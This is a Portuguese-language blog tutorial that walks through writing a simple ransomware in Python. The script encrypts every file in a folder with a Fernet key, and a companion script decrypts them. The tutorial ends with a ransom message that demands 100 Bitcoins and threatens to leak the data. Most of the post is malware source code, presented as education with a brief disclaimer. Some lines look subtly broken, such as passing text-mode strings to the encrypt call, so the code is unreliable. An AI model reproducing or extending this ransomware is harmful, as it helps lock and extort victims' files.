Criando um Malware com Python (muito fácil)

Alestan
Alestan
Published in
3 min readMay 25, 2022

Hoje vamos criar um malware!

Você tá louco?

Malware é um software malicioso!

Antes de mais nada, queria dizer isso: esse vídeo é totalmente para aprendizado, nunca use de forma maliciosa e que possa causar dano aos seus colegas, amigos e familiares.

Vamos juntos testar e entender como funciona um Ransomware.

Então pega seu café e vamos nessa.

O que vou utilizar para esses testes?

  • Um computador com linux ou uma máquina virtual linux
  • Um cafezinho passado agora
  • VSCode

Primeiro vamos entrar no Linux

Então vamos nessa e vamos criar um Ransomware com Python. Mas antes vou te explicar como funciona um Ransomware

Ransomware é o Malware mais utilizado no momento que já afetou diversas empresas no Brasil e no mundo.

O Ransomware basicamente vai acessar seus arquivos de dados e encripta-los e apenas com uma chave específica vamos conseguir desencripta los e conseguir denovo o acesso

O problema está no fato de precisar de uma chave para desencriptar esses dados e o que os hackers fazem hoje é pedir uma quantia em bitcoin para a empresa afetada para liberar essa chave.

Vamos criar três arquivos de texto:

echo “eae” > text1.txt

echo “hello world” > text2.txt

echo “@acker code” > text3.txt

code .

Abrimos o VSCode

Agora criamos o arquivo madara.py

e vamos agora criar nosso código.

Pausa no cafezinho.

Primeiro o código precisa buscar os arquivos que vamos criptografar e guardar em uma lista

Vamos importar a lib OS

Então: import os

Criamos uma variável chamada files que será a lista.

files = []

agora vamos utilizar o loop for para buscar todos os arquivos dentro da pasta

for file in os.listdir():

if file == “madara.py”:

continue

if os.path.isfile(file):

files.append(file)

vamos apenas procurar os nomes dos arquivos e guardá los na variável files que criamos anteriormente, mas como não queremos estragar nosso ransomware encriptando ele, vamos excluir ele da nossa lista, antes de colocá lo lá dentro

e agora vamos colocar os arquivos dentro da lista que criamos.

Vou dar um print agora para mostrar para vocês.

Mas agora olha este exemplo que vou criar, vou criar uma pasta mas ela também irá direto para nossa lista e isso eh algo que não queremos pois, precisamos apenas dos arquivos e não das pastas. então colocaremos isso if os.path.isfile(file): fazer com que a lib mostre apenas os arquivos e retire as pastas

Agora precisamos importar a biblioteca que vai criptografar os dados

from cryptography.fernet import Fernet

Fernet é uma incrível biblioteca de criptografia para Python

Agora precisamos criar a chave onde que vai se a chave da criptografia dos nossos arquivos sem ela os arquivos continuam criptografados.

key = Fernet.generate_key()

print(key)

with open(“chave.key”, “wb”) as chave:

chave.write(key)

Agora vamos ignorar a chave que criamos para que não seja criptografada junto com os arquivos

files = []

for file in os.listdir():

if file == “madara.py” or file == “chave.key”:

continue

if os.path.isfile(file):

files.append(file)

Agora vamos criptografar os arquivos usando for.

for file in files:

with open(file, “r”) as arquivo:

contents = arquivo.read()

contents_encrypted = Fernet(key).encrypt(contents)

with open(file, “wb”) as arquivo:

arquivo.write(contents_encrypted)

bom o arquivo text1.txt está assim

cat text1.txt

e agora vamos criptografados

python3 madara.py

e agora vamos ver como está nossos arquivos:

cat text1.txt

Ainda bem que possuímos a chave para descriptografar isso. Vamos copiar o madara.py mas agora vamos chamar de guy_sensei.py, abrimos nosso novo script.

Agora vamos criar o nosso script para descriptografar, primeiro vamos excluir a parte de chave pois não precisamos mais e agora precisamos abrir a nossa chave.

vamos incluir:

with open(“chave.key”, “rb”) as key:

secretkey = key.read()

vamos precisar mexer no nosso próximo for loop vamos mexer na parte da criptografia

ao invés de contents_encrypted vai passar a ser contents_decrypted, vamos agora passar secretkey ao invés de key e ao invés de encrypt vai ser decrypt e no final basta adicionarmos o contents_decrypted

for file in files:

with open(file, “r”) as arquivo:

contents = arquivo.read()

contents_decrypted = Fernet(secretkey).decrypt(contents)

with open(file, “wb”) as arquivo:

arquivo.write(contents_decrypted )

e adicionamos no for lá em cima o arquivo que acabamos de criar para ele não ser criptografado

if file == “madara.py” or file == “chave.key” or file == “guy_sensei.py”:

agora vamos a brincadeirinha =)

print(“Seus arquivos foram criptografados!!!! Envie para mim 100 Bitcoins para ou eu vou expor todos os dados na internet”)

podemos ainda colocar um frase secreta

frase_secreta = “cafe”

user_frase = input(“Qual eh a frase secreta\n?”)

WOOOW isso foi bem legal de fazer junto com vocês turma

Isso foi muito simples de se fazer.

Os Ransomware de hoje são bem mais complexos, mas podemos entender como funcionam dessa maneira de hoje!!

Isso foi bem louco de fazer junto com vocês turma, obrigado!!

--

--